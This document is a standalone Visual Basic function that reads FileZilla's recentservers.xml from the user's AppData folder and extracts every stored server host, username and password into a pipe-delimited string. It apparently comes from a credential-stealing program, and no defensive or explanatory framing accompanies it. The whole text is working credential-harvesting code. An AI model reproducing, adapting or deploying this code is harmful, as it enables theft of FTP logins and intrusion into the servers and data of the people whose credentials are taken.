Public Function sFileZilla() As String
Dim sFile       As String
Dim sPath       As String
Dim sCont()     As String
Dim sHost()     As String
Dim sUser()     As String
Dim sPass()     As String
Dim sServer()   As String
Dim i           As Long
Dim sResult     As String

sPath = Environ("appdata") & "\FileZilla\recentservers.xml"

Open sPath For Binary As #1
sFile = Space(LOF(1))
Get #1, , sFile
Close #1

sServer() = Split(sFile, "<Server>")

For i = 1 To UBound(sServer)
    Erase sHost
    Erase sUser
    Erase sPass

    sCont() = Split(sServer(i), "<Host>")
    sHost() = Split(sCont(1), "</Host>")
    
    sCont() = Split(sServer(i), "<User>")
    sUser() = Split(sCont(1), "</User>")
    
    sCont() = Split(sServer(i), "<Pass>")
    sPass() = Split(sCont(1), "</Pass>")
    
    sResult = sResult & "---FileZilla|" & sHost(0) & "|" & sUser(0) & "|" & sPass(0)

Next i

sFileZilla = sResult
End Function